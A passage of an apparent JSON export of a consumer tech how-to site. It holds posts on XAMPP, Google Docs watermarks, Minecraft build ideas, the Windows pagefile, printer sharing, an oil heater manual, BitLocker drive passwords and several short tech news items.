Version: 8.0.2 Update date: 02/26/2021 Platform: Windows Download XAMPP 8.0.2 here.\nThis development program acts as a web development server, providing services similar to other open source web servers, eg Apache server, MySQL database and PHP programming language. It also serves as an alternative to software stacks such as WAMP and LAMP.\n  What are the uses of XAMPP? XAMPP offers an impressive stack compared to the WAMP and LAMP packages. It comes with all the essential parts of a web server - primarily the Apache HTTP Server, MariaDB database, and an interpreter for scripts written in the PHP and Perl programming languages. The components of this software are actually similar to the actual web server implementation; This makes it easier to switch from a local test server to a live server.\nThe stack also provides Mercury Mail server, FileZilla, FTP server, and even Tomcat JSP server. You will find a status and security overview on your server, which will be reported through a launch log analyzer, like Webalize and phpMyAdmin. At the same time, it also provides quick installation speed. The download only takes 5 to 10 minutes.\nThis shows how much Apache Friends value user time and convenience. No additional configuration or add-on is required, as this is simply an official server that runs quickly and easily. To customize, go to the program's control panel. You will see its simple and minimalistic interface. Here you can interact with all types of modules, view different PID numbers and edit configuration files.\nAll-in-one development server XAMPP's user-friendly interface and seamless user experience show that the tool is designed with developer requirements in mind. It also offers a bustling community of developers who can provide a solution to your concerns and are constantly updating the program.\nAdvantages\nAllows offline web development Provide online support The installation is quick Offers multiple programs in one Defect\nMore suitable for experienced programmers ncG1vNJzZmismaXArq3KnmWcp51ksbDDzaWmmpxdra6uvM9mb2lqXZu%2FprGMpaacmZxixKaujKycq66Vpw%3D%3D\n","link":"/post/download-xampp-8-0-2-free-local-web-server/","section":"post","tags":null,"title":"Download XAMPP 8.0.2: Free local Web server"},{"body":"Google Docs is a handy and handy text reader and editor, so you can use Word files on your computer without having to install Microsoft Word. Besides, Google Docs can also insert Watermark into the document. Let's follow the instructions to add Watermark in the article below.\n  1. Insert text Watermark in Google Docs Step 1: You highlight the whole text to insert Watermark. Next, go to the Insert menu (1) =\u0026gt; Header and footer (2) =\u0026gt; Footer (3) .\n  Step 2: Enter the text of Watermark and click outside the text area after completion.\n  Step 3: After inserting the above way, we have Watermark text at the bottom of the page similar to Header \u0026amp; Footer feature in Word. Please check the pages that have Watermark or not and save the file.\n  2. Insert Watermark in Google Docs with drawing board feature Step 1: Click the File menu (1) =\u0026gt; New (2) =\u0026gt; Drawings (3) .\n  Step 2: Go to Insert (1) =\u0026gt; Images (2) =\u0026gt; Upload from computer (3) to get Watermark samples from your device.\n  Step 3: Choose Watermark template (1) =\u0026gt; Open (2)  to upload.\n  Step 4: You open the Format menu (1) =\u0026gt; Format options (2) .\n  Step 5: Click the Adjustments (1) to expand and adjust the Transparency (2) at will to make the watermark dimmer and more beautiful.\n  Step 6: After inserting the watermark, you insert the text by going to the Insert menu (1) =\u0026gt; Text box (2) .\n  Step 7: You expand the text box area and align it so that it fits your eyes.\n  After that we will have a text with watermark submerged as shown below.\n  Step 8: Open Google Docs or visit https://docs.google.com/document/ and select Blank .\nNext, go to the Insert menu (1) =\u0026gt; Drawings (2) =\u0026gt; From Drive (3) .\n  Step 9: Select the text form that you have just inserted the watermark (1) =\u0026gt; Select (2) .\n  Next you choose Link to source and click on Insert .\n  Step 10: So we have sample text with watermark in Google Docs already. To edit the content of the text, click the icon Link (1) =\u0026gt; Open original data (2) .\n  Then you go to the Drawings and you should change the content. Your text will be automatically saved.\n  Step 11: Click the UPDATE button next to the Link icon to update the changes.\n  And finally we have completed the text with the watermark inside Google Docs.\n  Through the instructions in the article, you will certainly no longer have difficulty when you want to insert Watermark in Google Docs. Good luck!\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZpmUmXq4rdOeqaaZoqB6tbuMoKaon5yaeqW7wqw%3D\n","link":"/post/how-to-add-watermark-to-google-docs/","section":"post","tags":null,"title":"How to add Watermark to Google Docs"},{"body":" Build the maze. You can build underground mazes for yourself or even for other players on your server. If you want the maze to become more scary, you have the right to summon the character Herobrine in the maze. We are not the ones to decide what will or will not appear in your maze!\n Build Mi'i Temple. Let's create a temple to worship yourself! Of course, you are allowed to build temples or churches to worship anyone you want, but building your own is also an interesting thing.\n Construction of an express train line. The masters with superhuman intelligence in the game Minecraft have found a way to use the cart system to build a high-speed \"train\". You can try to build your own giant train line or consult other people's projects online.\n Create a castle. Obviously, the first thing you build in the game Minecraft is a shelter. so what better way than building a monumental castle to prove that you have become a master in the game? You can make an even stronger impression by placing the castle in a difficult location, such as in the mountains.\n Build a farm. Breeding basic animals is a must, but downright boring thing. There is a more interesting way of raising animals than crossbreeding animals. Since there are so many guides online that deal with animal breeding, it's easy to choose what's right for you.\n Build a fortress in the air. Let's start flying in the air and build a magnificent structure in this place! It doesn't have to be a house, it can be a fortress. You don't need a tutorial for this amazing building style, just a little creativity and good construction skills!\nMuseum construction. Museums are fun and easy to build. You can search for images online to match your needs or check out the official museum construction project!\nCreate miniature versions of other games. Example: You can craft a miniature version of Five Nights at Freddy's or Clash of Clans!\n Go on an adventure! The famous Bilbo Baggins character once went on the adventure of a lifetime and now it's your turn. Build a complex world using all the beautiful environments available, for example creating a haunted forest or dangerous mountains. Once done, you can proceed to the classic quest and write about your adventures.\n Build pirate ships and islands. You can create your own aquatic environment featuring a large island, pirate harbor and tavern and watch as the pirate ship sets sail in the open ocean! You can also build many interesting things on your island, such as the Temple of Doom.\n Build spaceships and spaceships. You are allowed to use obsidian blocks in creative mode to design a large black space, then use blueprints or code to create large spheres. planet. Next, you can build a spaceship that hovers between planets and lives in it.\nIt is possible to have lava appear on the glass sphere to create the sun!\n Create a volcano. You can create large volcanoes filled with lava. Things will become even more interesting if you build yourself a demon cave under the volcano. Glass can be used to trap lava or light up areas inside your cave.\n Create giant trees attached to the building. You're allowed to create as many Avatar-style trees as you can on as large a scale as possible and then fill the roots, trunks and branches with houses and roads. Then you can invite your friends over for an Ewok-style party!\n Train system construction. You can use the tracks, carts, redstone and physics in the game to build your own fully automated train system. The game allows you to put this system in a mine or even create trains and stations that look like real life so other people can visit your world.\n Elevator construction. You are allowed to use redstone and command blocks to build elevators for your works. This is extremely easy to do and you can find many tutorials online.\n Build equipment to sort items. Using a hopper, you can build a system that helps you organize your items quickly and efficiently. This is a useful system for the mines, but it also works for the house. You can find many tutorials online for many different types of systems.\n Construction of street lights. Using a reverse light sensor switch, you can build light-sensitive street lights that automatically turn on when the sky becomes dark. You can also use this to light up the main roads to protect the player from monsters that appear in the dark.\n Create monster traps. Monster traps (mobs) are very large things that capture and automatically kill monsters, usually by drowning them. There are now many different designs depending on what you have, so you can do your research to see what to choose. You can also watch video tutorials on YouTube.\n Create traps for those who like to irritate you. Have you ever been teased to the point of madness by others? If the answer is yes, then you need to start creating traps now to catch those bad guys! Check out some tutorials as there are so many ways to create such traps!\n Re-creation of national memorials. You can meticulously recreate national monuments, tourist attractions, scenic spots, and other famous structures. You are allowed to arrange so that other players or family members can make a trip around the world in just a few minutes if they want.\n Create a scene just like in your favorite TV show. You can draw inspiration from your favorite TV show and build the scene or setting of the story in your own words. These can include the construction of the high school that appeared in the movie Buffy the Vampire Slayer or the treehouse of the character Finn in Adventure Time, for example.\n Recreate the city or neighborhood. You can create a miniature version of the area you grew up in and walk around. This area can include your school, your local park, your home, and other places where you usually spend a lot of time.\n Create scenes that appear in your favorite books. You can really unleash your imagination and recreate the scenes that appear in your favorite books, like creating the Lonely Mountain in the Hobbit or the strange hills in the books. Doctor Suess. Let your imagination fly away!\n Create your own room. You can look at a single room or small place and reproduce them on a large scale, like a block equivalent to 3 to 5 centimeters in size. As a result, you will have doors the size of a skyscraper. If you want, you can build yourself a house surrounded by walls and live like a elf in Borrower!\n Create cannons that use creatures as bullets. You can take advantage of many projects online to make cannons that use creatures as bullets. These redstone and TNT explosives are capable of shooting a sheep into hell (Nether)! You can easily make the pigs fly!\n Build TARDIS. You can use command blocks and careful computation to create this TV show's favorite device. Although it looks like a phone booth, the inside is actually much larger. You can find video tutorials on YouTube and online.\n Building the Titanic. You can build your own Titanic to the size you want, spend a great time with your friends and relax on board. Of course, you can also build an ordinary yacht. Actually… maybe it's safer than seeing your Titanic crash into an iceberg!\n Draw in the style of pixel graphics. You can recall the early days of 8-bit characters like Mario and Zelda and use Minecraft to create giant pixel art! Unleash your creativity and create scenes for you and your friends to admire! Make the experience even better with a soundtrack in the style of classical electronic music!\n Make a computer or game that works. If you're willing to invest the time, you should know that many players have figured out how to build stable computers and other complex mechanical devices. You can search the internet for how to make a 3D printer, a workable computer, even a PacMan game!\n Use Minecraft. Minedraft allows you to simulate buildings and structures before construction begins. That way, you can be sure that the construction progress will go smoothly. This is a very useful tool.\n Use WorldPainter. WorldPainter allows you to create entire Minecraft maps as easily as using MS Paint, then import them into your game and use. Here's another great tool!\n Visit the Building Inc site. or Minecraft Ideas. These sites aggregate free projects that you can use to recreate things that other people have built. These sites are great for newbies eager to know how the cool stuff in Minecraft is made.\n Install some tweaks. You can find a lot of Minecraft mods on the Internet. These versions can make your game beautiful and interesting with a variety of themes. A useful tool for builders is the new set of textures that make your constructions that much more beautiful.\n Watch YouTube. These days, there are a lot of good players on YouTube who regularly post instructional videos on how to build all sorts of interesting things. You can search for popular channels and people that interest you to get started. However, you should also be careful not to spend too much time just watching those video tutorials!\n Try Papercraft! Papercraft is a website that shows the ultimate art of paper folding. You can print and paste all sorts of cool Minecraft stuff to make decorations and even build in real life.\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZpuimq61sYylpq2rXaSzbrLUp2Sipl2itq%2BxwquYn6w%3D\n","link":"/post/how-to-create-lots-of-fun-in-minecraft/","section":"post","tags":null,"title":"How to Create Lots of Fun in Minecraft"},{"body":"General information\nPaging is a memory management scheme whereby the PC can store and retrieve data from secondary memory for use in main memory.According to this scheme, the operating system will retrieve data from secondary storage in blocks of the same size called pages (pages).Paging is an important part of deploying virtual memory on modern operating systems.These operating systems use secondary memory to allow programs that may have volume beyond the size of available physical memory.\nSimply put, the main memory is called random-access memory (RAM), while secondary storage is called disk (short for hard disk drive - hard disk).\nVirtual memory is a memory management technique deployed by a combination of both hardware and software.It maps the memory addresses used by a program (called a virtual address) into the real address in the computer memory.The main repository appears as an adjacent address space or a collection of adjacent storage segments.Windows will then manage virtual address space and assign real memory to virtual memory.Hardware devices responsible for translating addresses in the CPU are often referred to as memory management units (MMU).These hardware components will automatically translate virtual addresses to real addresses.Software within Windows can extend these capabilities to provide a virtual address space that can exceed the capacity of real memory.\nThe main benefits of virtual memory include helping to free applications or managing shared memory capacity and increasing the security of memory separation.\nBasically, a paging file (pagefile) is an area on the hard disk that Windows will use as if RAM in case your real RAM is not enough.\nBy default, Windows automatically manages the pagefile settings for you, but sometimes you may need to manually manage your pagefile manually.For example:\nWhen the C: drive, where your Windows is installed, is too small, you may want to move the pagefile away from that drive to another drive with more space. Once you've used a lot of memory, you may want to add a pagefile to another drive to be ready for use when needed. If you don't use much memory while your pagefile is large, you may want to use a smaller custom size. If you encounter BSOD PAGE_FAULT_IN_NONPAGED_AREA or KERNEL_DATA_INPAGE_ERROR or Low Memory errors , you may need to use a larger custom size for the pagefiles. This article will show you how to manage the pagefile virtual memory for each drive on your Windows 10 computer.\nNote: You must log into the system as an administrator to make changes to the pagefile.\nEXAMPLE: pagefile.sys in C: drive in Windows:\n  1. Start Control Panel and click the System icon\n2. In the System section, click the Advanced system settings link on the left and then close the System window.\n  3. On the Advanced tab, select Performance . In the Performance section, click the Settings button.\n  4. In the Advanced tab, select the Virtual memory section , then click the Change button .\n  \n5. In this step, you will decide how you want to manage the pagefile on your drive (s).Available options include:\nCustom size (step 6). Delete (step 7). System management (step 8). Manage all systems (step 9). 6. Set custom size for pagefile on a drive\nA) Leave Automatically section manage paging file size for all drives.\nB) Select the drive where you want to set the custom size or add pagefile (eg C drive :).\nC) Select the Custom size item .\nD) Enter the minimum initial size you want for the pagefile on the selected drive, this size is calculated in MB (1024MB = 1 GB).\nE) Enter the maximum initial size you want for the pagefile on the selected drive, which is also calculated in MB.\nF) Click the Set button.\n  G) Click OK\n  \nH) A dialog box will appear informing you that in order for the changes to take effect, you must restart the system.ClickOKto confirm.\n  I) A subsequent dialog box will appear.Click Restart Now to restart your computer, so your changes will apply.\n  7. Remove (disable) pagefile on a drive\nA) Leave Automatically section manage paging file size for all drives.\nB) Select the drive you want to delete the pagefile (eg C :).\nC) Select No paging file.\nD) Click the Set button.\n  E) Click Yes to confirm.\n  F) Click OK.\n  \nG) A dialog box will appear informing you that in order for the changes to take effect, you must restart the system.Press ok to confirm.\n  H) A next dialog box will appear.Click Restart Now to restart your computer, so your changes will apply.\n  8. Set the size of the pagefile on a system managed drive\nA) Uncheck Automatically manage paging file size for all drives.\nB) Select a drive for which you want to set the file manager pagefile size (for example, C: drive).\nC) Select the System managed size option.\nD) Click the Set button.\n  E) Click OK to confirm the changes.\n  F) The next steps are similar to the above 2 sections.\n9. Set the size of pagefile on all system managed drives\nA) Select Automatically section manage paging file size for all drives.\n  \nB) ClickOK\nThat's all the information in the article today.Good luck!\nSee more:\nHow to create a virtual machine repository for Hyper-V Quick Create How to create and use Hyper-V checkpoints in Windows 10 How to import Hyper-V virtual machines in Windows 10 How to change the default directory for hosting Hyper-V virtual machines in Windows 10 ncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZqWRo66osYypmKCdlp65pnnVoqmtrZGheq6xzKipsmWZo3q4tc2dprCrXWZ9\n","link":"/post/how-to-manage-pagefile-virtual-memory-in-windows-10/","section":"post","tags":null,"title":"How to manage Pagefile virtual memory in Windows 10"},{"body":"Have you ever encountered a situation where you need to use a printer that is connected to another Windows 7 computer and this computer is not in the same Homegroup as the computer you are using, but only on the same network . In this article, I will show you how to share a printer between two Windows 7 computers in such a network.\nNote : In this example, we connect a Windows 7 Ultimate 64-bit computer to an HP PSC 1500 printer on a Windows 7 Home Premium 32-bit computer. They are all on the same network, but not in the same Homegroup. Keeping in mind all the different printers, finding and installing the right driver is also different.\n1. Share files and printers with Windows 7 Homegroup Set up Homegroup There are many ways to access the Homegroup feature on Windows 7, go to Control Panel then click Choose homegroup and sharing options or enter Homegroup in the Search box on the Start Menu.\n  Next click on Create a Homegroup.\n  \nOn the Create a Homegroup interface choose the format of the files you want to share with another device.\n  After creating the Group, you will receive a password for other computers to access.\n  Next go back to the Homegroup interface.\n  Connect Homegroup Other Windows 7 computers can access the Homegroup feature and click Join now to join the Group you just created.\n  Enter the HomeGroup password.\n  Once the password is accepted, the connection process will be successful.\n  If you don't want to always use your password, go to Network and Sharing Center, under Advanced options, select Turn off password protected sharing.\n  \nAlso if you want you can create a Shortcut Homegroup to easily access and share files, folders . Go to Network then right-click the Homegroup icon and drag to the Desktop screen.\n  To share a printer, when creating the Group, select Printers. When accessing Devices and Printers on the Start Menu you will see the printer icon and have the setting as the default option if desired.\n  2. Share printer between Windows 7 computers without Homegroup? Share the printer On the computer with the printer you want to share directly, open Advanced Sharing Settings and make sure the File and Printer Sharing option is enabled.\n Next, open Devices and Printers from the Start menu, right-click the printer you want to share, select Printer Properties .\n In the Properties window, click the Sharing tab. Check the Share this printer check box and give it a name . You can name any, but it's best to put a short name and don't put a space in the name.\n Connect the printer Now on the Windows 7 computer you want to connect to, click Start and select Devices and Printers .\n In the Devices and Printers window, click Add a printer .\n Next select Add a network, wireless or Bluetooth printer .\n Wait a minute for Windows to find the printer, then click Next .\n The printer has been added successfully, click Next .\n Now you can print a test page to make sure everything works fine or click Finish .\n If you want to set this as the default printer, go back to Devices and Printers , right-click on the printer and select Set as default printer .\n If it doesn't work, make sure you choose the correct driver installed for the printer and try again. If the printer still doesn't work, you can choose The printer that I want isn't listed .\n Then browse directly to the printer on another computer or type in the link if you know it.\n Conclude If you have an old printer, it may sometimes need a little trick to help the system identify the printer, and make sure you get the latest driver from the manufacturer's website. If the printer is too old and you can't find the driver that works with Windows 7, then you may need to consider buying a new one. If both of your computers are connected to Homegroup, then you can refer to the article Using Windows Homegroup in Windows 7 to share files and printers recently introduced by us.\nRefer to some of the following articles: Instructions to adjust screen brightness of Windows 7 computer Start Windows 7, 8, 10 in Safe Mode without F8 key How to delete a Windows Service on Windows 7, 8, 10, Vista and Windows XP Good luck!\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZquYlr%2Bmec%2BroKeslafAbq7Era6enZ5ixKq6w6iurGVnYrCwuc%2Buq56qo2LEqsDHqKytZZikuqaz0aisqQ%3D%3D\n","link":"/post/how-to-share-printers-between-windows-7-computers-without-homegroup/","section":"post","tags":null,"title":"How to share printers between Windows 7 computers without Homegroup?"},{"body":"If you have a Sunhouse 13 bar SHD7085 oil heater, which you don't know how to use, please refer to the following detailed user guide.\n  I. Overview of Sunhouse 13 bar SHD7085 oil heater SHD7085 oil heater possesses a small compact design, elegant and elegant colors, so it is suitable for all spaces such as bedroom, family room or office space .\nIt has up to 13 heating bars, suitable for rooms with a width of 20-25m2. The oil heater has the function of automatically disconnecting when tilting so it is extremely safe to use, especially for families with elderly and young children.\nSHD7085 uses oil as fuel, however, during the whole process, there is no need to replace the oil because it has the fuel rotation function. You just plug and use.\n  The device operates with a capacity of 2.500W with 3 power adjustment levels:\nLevel 1 is the lowest level. Level 2 is average. Level 3 is the highest level. In addition, the Eco function also helps users to use more energy efficient heaters.\nIn addition to using heating equipment, you can also use it to dry clothes on drizzling days, cold prices thanks to the accompanying drying price.\nWhen using a 13 bar heater SHD7085 operates with low noise, does not burn oxygen, balances the humidity in the room to bring comfort and safety to the space used.\nII. A detailed guide on how to use Sunhouse SHD7085 oil heater 1. How to turn on / off Sunhouse oil heater Open oil heater:\nStep 1: Turn on the power switch in the switch box above the wheel. Step 2: Turn on the power button on the control panel or open the remote.   Turn off the oil heater: You do the opposite with the way the machine is turned off and the power button is turned off then turning the machine off with the switch.\n2. Timer function Step 1: Press the button with the \" M \" icon once. Step 2: Increase / decrease the timer for the heater with \"+/-\" and the maximum appointment time is 9 hours, a minimum of 1 hour.   Note: If you do not adjust the time in 5s , the display will return to the default installed screen.\nExample: You want the timer for the heater to be 9 hours.\nStep 1: Touch the button with the \"M\" icon once. Step 2: Click the plus sign until the screen number 9 is displayed. 3. Temperature adjustment function Step 1: Touch the button with the \"M\" icon twice. Step 2: The temperature of this Sunhouse heater is adjusted within 5 - 35 degrees Celsius, you can increase / decrease with \" +/-\" as you like.   Example: You set the temperature to 30 degrees C.\nStep 1: Touch the button with the \"M\" icon twice. Step 2: Press the plus sign until the screen shows 30. Click the \"+\" \"-\" button to increase the temperature drop you desire. 4. Power adjustment function Below the control display screen there are 3 power levels, you can adjust with \"+\" \"-\" .\nExample: You adjust the capacity at 3. Touch the plus sign to display 3 tiles, which is level 3 of the capacity.\n  5. Power saving function SHD7085 oil heater equipped with Eco mode saves energy consumption for the family. To use this mode, simply touch the button with the word \"ECO\" .\n6. Panel lock function Touch the button for 3 seconds on the lock icon on the control panel or on the remote to activate the panel lock function, restrict family members or especially children to touch the control panel to change the mode Setting. Similarly, to turn off the function you just need to touch and hold for 3 seconds.   III. General note when using oil heaters When using a heater for the first time, allow the oven to operate at maximum capacity for at least 2 hours. Do not place the product in uneven places, it is necessary to place the product in a flat area, without any obstacle before and after the product. Oil heaters should not be close to flammable and explosive substances such as blankets, clothes, books, lighters, gas cookers . because it is very easy to cause big fire and explosion. Avoid placing near water sources such as water filters, where water flows. Should put a small basin in the room or turn on the ventilation fan, open the door to open the air convection. The closed door does not help the oil heater work more economically but also makes it difficult to breathe. The amount of oil loaded in the heating rods has been precisely designed, if there is oil leakage it is necessary to contact the manufacturer or distributor for processing. Do not let your hand or poke the heating holes or slots. When using it, put the machine at least 20cm away from the wall and surrounding objects, creating a space of 1m above the machine to circulate air. The ideal temperature of the oil heater you should choose from 22 - 25 degrees, this temperature both helps ensure safety for health and can save electricity very well.   Hopefully, through this article, you will know how to use the oil heater SHD7085. Good luck!\nncG1vNJzZmismaXArq3KnmWcp51ktq%2B%2F06usnKyZpLu0ecWoqWato567qHnSrqWhp6Wosm59kmaZmqpdqLWlg49xbGanmaF6qbHArZyr\n","link":"/post/instructions-for-using-sunhouse-13-bar-shd7085-oil-heater/","section":"post","tags":null,"title":"Instructions for using Sunhouse 13 bar SHD7085 oil heater"},{"body":"Drive is a storage device, backing up data between\u0026nbsp; computers used \u0026nbsp;by many users. Therefore, the operation of setting a password for the drive to protect data, especially confidential and important data. This article will guide you to set a password for the drive on\u0026nbsp; Windows 10 \u0026nbsp;simply, follow along.\nSo that no one can read and write to this drive without entering the password. The drive itself will deny all access and cannot be 'fooled' by another operating system. Even if the drive is removed and moved to another computer, access will be denied.\nThis way uses BitLocker to encrypt hard drive, can only use password to access encrypted data through BitLocker, can be applied to internal hard drive and external hard drive,\u0026nbsp; USB ,\u0026nbsp; Memory card .\nStep 1: Connect the external hard drive to the computer. Then, right-click the external hard drive and select Turn on BitLocker.\n  Step 2: Click Use a password to unlock the drive \u0026gt; Enter the password you want to set in the Enter your password and Reenter your password box \u0026gt; Click Next.\n  Step 3: Choose how to back up your password according to the options:\n- Save to your Microsoft account: Save to your Microsoft account. - Save to a file: Save the file to the computer. - Print the recovery key: Print to paper. Then select Next.\n Step 4: Choose one of two ways to encrypt the file:\nEncrypt used disk space only (faster and best for new PCs and drives): Performs encryption of the storage location on the used drive. For new computers, you should choose this way.\nEncrypt entire drive (slower but best for PCs and drives already in use): performs data encryption of the entire drive.\nThen select Next.\n Step 6: Finally, click Start encrypting to let BitLocker start encrypting the drive.\n Note: When using BitLocker to lock an external hard drive, you need to unlock it every time you connect the hard drive to your computer.\nStep 1: Right-click the BitLocker-locked external hard drive \u0026gt; Select Unlock Drive.\nStep 2: At the new screen, enter the password set up above \u0026gt; Click Unlock.\nThe external hard drive will now be unlocked.\n Step 1: To unlock with a backup password, right-click the external hard drive and select Unlock Drive.\nStep 2: In the new window, click to select More options \u0026gt; Click to select Enter recovery key.\n Step 4: Re-open the file folder where you saved the key in step 3, item 1 and copy the backup password in the Recovery Key section (the key file is saved in the Password setting step, in this article, I chose to save it in the hard drive). computer's internal disk).\nStep 5: Paste the backup password you copied above into the BitLocker interface \u0026gt; Click the Unlock button.\n So your drive is back to normal.\nStep 6: To unlock the external hard drive, go to the BitLocker management section by right-clicking the external hard drive \u0026gt; Select Manage BitLocker.\nStep 7: At the main interface of Manage BitLocker, click Turn off Bitlocker \u0026gt; New interface appears, click Turn off Bitlocker.\n Finally select Close to complete.\nIt will take some time for the system to remove the external hard drive lock.\nThis way will lock the entire HDD in the machine, but not the external hard drive. Be careful when performing this operation, when you forget the password, it will be difficult to open.\nStep 1: Access the BIOS.\nStep 2: Select Security \u0026gt; Set HDD Password.\n Step 3: Set a password \u0026gt; Press Enter.\n To change the password, go to BIOS \u0026gt; Security \u0026gt; Set HDD Password \u0026gt; Click the current password at Enter Current Password \u0026gt; Enter a new password in the two lines Enter New Password and Confirm New Password (if you want to delete the password, leave two lines This New Password is blank).\n There is no way to unlock BitLocker if you completely lost the password or recovery password, you can only reformat the hard drive.\nAbove is a tutorial on how to set a password for a simple Win 10 drive. Good luck!\nset password for hard drive BitLocker ncG1vNJzZmismaXArq3KnmWcp51ktq%2B%2F06usnKyZpLu0ec6nZKGnp2LBsHnSnqtmmV2lrrS%2F1qipnWWWpL9uwMeeZJ2qmauybrvNZq6ippSkxLR5kGk%3D\n","link":"/post/instructions-on-how-to-set-a-password-for-the-drive-on-windows-10/","section":"post","tags":null,"title":"Instructions on how to set a password for the drive on Windows 10"},{"body":"According to sources, since the beginning of this year Microsoft has started to develop a shortened version of Windows 10 for tablet, tablet hybrid laptop and other lightweight laptop models. This operating system is codenamed Polaris.\nAnd recently, the official name of the operating system has been revealed by technology journalist Brad Sams. It will be called Windows 10 Lite and will be a direct competitor to Google's Chrome OS. Windows Lite will be a really lightweight operating system that removes most of the functionality, only running Progressive Web Apps (PWA) and Windows Universal (UWP) applications. This means Windows 10 Lite is suitable for devices with weak configurations and focuses on the education field.\n  This is quite similar to Windows 10 S which was released by Microsoft not long ago but not completed. Because Windows 10 S still uses the full code set of Windows 10, only limited to using the software of Universal Windows Platform, if you want users can still upgrade to Windows 10.\nWindows 10 Lite can run on any processor, including on mobile chips and is always connected. According to reporter Sams, Windows 10 Lite will be installed first on a Snapdragon 845 chip device.\nWindows 10 Lite may be released by Microsoft in early 2019.\nSee more:\nDevices running Wiandows 10 Mobile Anniversary Update continue to be supported by Microsoft for another year Windows 10 has integrated TELEX and VNI input keyboard Windows 10 Insider Preview build 18290 (19H1) with many improvements, invited to download ISO files and experience ncG1vNJzZmismaXArq3KnmWcp51kuqqv0aiqqJ6kYrGmwsSlpqmdlGLEqrrDqK6sZWFleq21055kqKiVp661tc2gZKyxo6myrnnAZqqmmZyherex0aygqKZdqbWiwIyamq2tkaG5unnRrqWsZZ%2Bjeq67waKjnmWTnbaxvw%3D%3D\n","link":"/post/microsoft-developed-windows-10-lite-operating-system-a-small-version-that-actually-runs-on-mobile-chips/","section":"post","tags":null,"title":"Microsoft developed Windows 10 Lite operating system, a small version that actually runs on mobile chips"},{"body":"Microsoft has added Word Transcribe in Microsoft Word on the Web for those using a Microsoft 365 license. This feature is designed to help students, students, and commuters take quick notes. Microsoft hopes this feature can help users save time and do more during the day.\n  Just like the Dictation feature that turns speech into text in Word, the new phonetic function has the same purpose, but works in a more seamless way. With the first feature, Microsoft 365 subscribers can record interviews or presentations directly through Word on the Web and receive converted text. You can download audio files in MP3 MP4 M4a or WAV format and limit the file size to 200MB for conversion.\nMicrosoft's AI is so smart that it separates one's own words if there is more than one speaker in the conversation. Processing time depends on the size of the audio file, but the initial test was quite fast, about a few seconds for short conversations.\nIf you record live conversation, this feature will record any ambient sound, perfect for use in meetings, lessons, class discussion. It can even transcribe even in YouTube videos.\nThe feature will also appear on the Android and iOS versions of Word later this year, and Microsoft is also considering bringing it to the Word PC software. English is the only language supported right now but will soon expand to other languages. Premium Microsoft 365 users can experience this feature, but it's limited to 5 hours per month.\nThere are also a few software that can do the same thing right now, most famously Otter, which offers twice the monthly free time. But testing shows Microsoft's transcription feature records audio at a higher quality than Otter, which sounds easier.\nMicrosoft does not compress audio but records in high-quality WAV format and is uploaded directly to the 'Transcribed Files' folder in user's OneDrive storage. This can be said to be a feature worth waiting for those who need to take really thoughtful notes.\nMicrosoft Word ncG1vNJzZmismaXArq3KnmWcp51kuqqv0aiqqJ6kYsSwvsNmmKWqlZaxunnHmqpmrJiaeqexwK2sq51dqbxur86nrZ6qpGKutrDIqGSfoZyawG7AzmarnrCk\n","link":"/post/microsoft-word-already-has-the-feature-to-convert-audio-files-to-text/","section":"post","tags":null,"title":"Microsoft Word already has the feature to convert audio files to text"},{"body":"Heat is the enemy of all electronics. Unfortunately, high-power electronics like CPUs and RAM generate significant amounts of heat. Heat must be removed from the system to ensure the function and longevity of these components.\nDue to the compact design, the laptop must constantly keep its thermal components cool. Sometimes, the integrated cooling feature is not suitable, especially for high load applications such as gaming and rendering. If your laptop is overheating, you can cool everything with a laptop heatsink.\nHow does laptop heatsink work? Laptop cooling pads come in two types: active and passive. An active laptop cooling base consists of a fan that transfers hot air from the laptop to the outside. This is the most popular design.\nA passive laptop heatsink provides minimal cooling by reducing heat. Basically, it is a highly efficient thermal conductor, allowing the cooling pad to absorb heat from the laptop and spread it out into the air. Passive cooling is like a CPU cooler, radiating passive heat into the air and away from sensitive parts.\nActive radiators tend to be the most cost effective, but their fans are a bit too loud and need USB or external power to work. Passive radiators work fairly quietly, but only the most expensive and well-designed options really work.\nWhy do you need a laptop heatsink? Laptops designed with good airflow and heat dissipation are of interest to manufacturers. But even well-developed expensive laptops have thermal problems. If your laptop slows down after long use and gets uncomfortably heated, this could cause problems. These problems are more frequent as laptop age increases and cheap laptops also show more signs than expensive models.\nHowever, as mentioned above, even the latest and greatest gaming laptops are not immune to heat issues. You can't easily open a laptop to check for a problem, so the quickest solution is usually a cooling device.\nWhat laptop cooling device should I buy? The most effective cooling device will always be active heat dissipation. Look for a heat sink with lots of fans, preferably 3 or more. However, consider the noise issue. Depending on the quality of the fan, the noise volume may interfere with watching videos or playing games.\nIf you are more concerned about noise than heat, choose passive radiators. Prefer options made from materials with high thermal conductivity, such as aluminum. Metal laptop racks can also act as passive radiators. The inclined heat sinks are also generally more comfortable than the flat options.\nncG1vNJzZmismaXArq3KnmWcp51kwKm71KWbZq%2BVYq%2B2xYylmKmsn6V6qbHArWSsoZ6geqOt0p4%3D\n","link":"/post/should-we-buy-laptop-heat-sink-base/","section":"post","tags":null,"title":"Should we buy laptop heat sink base?"},{"body":"The Android TV YouTube app has been redesigned and added the option to change the quality of the deleted video for some reason in the previous version.\nIn case you have not heard of Android TV, it is essentially an Android version for smart TVs and multimedia devices, such as Razer Forge and Xiaomi Mi Box. Android TV is Google TV's successor, launched in 2010.\nWhat else do you not know about Android TV? Now, let's talk about the update. Although it doesn't make too much of an improvement, the things that it adds are favored by the Android TV community. The first thing you will notice is that the application has a new visual design. Some tabs around and the search bar are also refreshed.\n  New interface of YouTube for Android TV\nIn addition, the app's theme color has been changed to gray, previously red and it has a dark color theme found in the PC version of YouTube.\nAnother added feature is the option to select video quality manually, which is suitable for your network speed and TV.\nIf you are interested in this application, you can watch the video about its new interface below:\nDownload YouTube for Android TV\nSee more:\n5 unique apps that Android TV users should install today Qualcomm built a new Wi-Fi chip for the Wi-Fi 802-11ax generation Which screen parameters are completely meaningless? How to login YouTube account on Smart TV Samsung, LG, Sony ncG1vNJzZmismaXArq3KnmWcp51kwamxjLKmrqyll7Jurc%2BpZKimXZa7pb7OoptmrKZitrR50Z6bnquZnLumsA%3D%3D\n","link":"/post/the-youtube-app-on-android-tv-is-redesigned/","section":"post","tags":null,"title":"The YouTube app on Android TV is redesigned"},{"body":"The current display technology has evolved greatly with LCD, TN and IPD, and you no longer need the same protection programs as the old CRT monitors. However, Screensavers are still loved by many users because they have beautiful effects, creating more excitement before 